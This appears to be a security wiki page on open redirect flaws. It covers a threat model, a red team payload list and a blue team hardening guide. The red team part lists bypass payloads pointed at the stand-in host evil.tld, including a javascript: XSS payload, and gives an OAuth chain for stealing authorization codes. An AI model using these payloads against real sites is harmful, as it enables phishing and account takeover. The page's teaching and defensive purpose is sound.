Open redirect

The app redirects to a URL the user controls without validating it. On its own it’s low-to-medium impact, but it’s an attack multiplier: it lends credibility to phishing (the legit domain redirects to the fake one), lets you steal the OAuth code/token, bypass SSRF filters/“same-domain” validations, and sometimes escalate to XSS when the destination reaches a dangerous sink.

Threat model

Credible phishing: the link is https://legit.tld/... and ends at the attacker’s site.
OAuth/SSO credential theft: if the provider’s redirect_uri allows a client open redirect, the code ends up on your domain (ATO; see OAuth page).
Bypass of validations that trust “the URL starts with our domain”.
XSS (DOM-based) if the value reaches location/href as javascript:.

Anatomy

Two variants by where the redirect is decided:

Server-side: the server responds Location: <user value> (302).
DOM-based (client-side): JavaScript does location = param, location.href = ..., window.open(param), location.assign/replace(param) with a controllable source (location.search/hash).

Typical parameters: ?next=, ?url=, ?returnTo=, ?redirect=, ?dest=, ?continue=, ?r=, ?u=, ?target=, ?redirect_uri=.

Red Team

Discovery

Find those parameters (in login, logout, SSO, “back to”), and test whether the value ends in a redirect. For DOM, find the sinks (location, window.open) with DOM Invader or DevTools.

Payloads and bypasses (explained)

?next=https://evil.tld                  # direct
?next=//evil.tld                        # protocol-relative (inherits scheme)
?next=/\evil.tld                        # bypass "starts with /"
?next=https:evil.tld                    # no // (some browsers)
?next=https://legit.tld@evil.tld        # userinfo: the real host is evil.tld
?next=https://evil.tld#legit.tld        # decorative fragment
?next=https://evil.tld\.legit.tld       # backslash
?next=https%3a%2f%2fevil.tld            # URL-encode to dodge filters
?next=https://legit.tld.evil.tld        # attacker subdomain (if it validates "contains legit.tld")
?next=javascript:alert(document.domain) # DOM open redirect -> XSS

Try them against block-list filters and “must contain our domain” filters, the weakest ones.

Chaining

OAuth ATO: GET /authorize?redirect_uri=https://legit.tld/callback?next=//evil.tld → after consent, the code is forwarded to evil.tld. Capture and redeem it.
SSRF: an open redirect on an endpoint the server follows lets you bypass the SSRF allow-list.

Tooling

Burp Suite, ffuf for parameter discovery, and PayloadsAllTheThings bypass lists.

Blue Team

Detection

Location redirects to external domains from user parameters; traffic spikes with ?next= to non-owned domains after a campaign.

Hardening

Don’t use user absolute URLs to redirect. Prefer validated relative paths (starting with / and not // or /\) or a server-side destination map (id -> url).
If domains must be allowed, exact host allow-list (parse the URL and compare the host, not “contains”).
Interstitial warning page when leaving the domain.
In OAuth clients, exact-match redirect_uri (see OAuth page).

Response

Fix validation, check for OAuth chaining, and warn if it was used for phishing against users.

CVEs and real-world cases

Open redirect is endemic and usually reported as part of chains (OAuth ATO, targeted phishing) rather than an isolated flaw; it appears constantly in bug bounty, even at major identity providers.
Microsoft, Google and others have paid for open redirects used for token theft in login flows.

CVEs/incidents in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

Testing checklist

Redirect parameters located (server and DOM).
Bypasses tested (//, /\, @, #, encoding, subdomain).
javascript: evaluated (DOM → XSS).
Chaining evaluated (OAuth code/token, SSRF, phishing).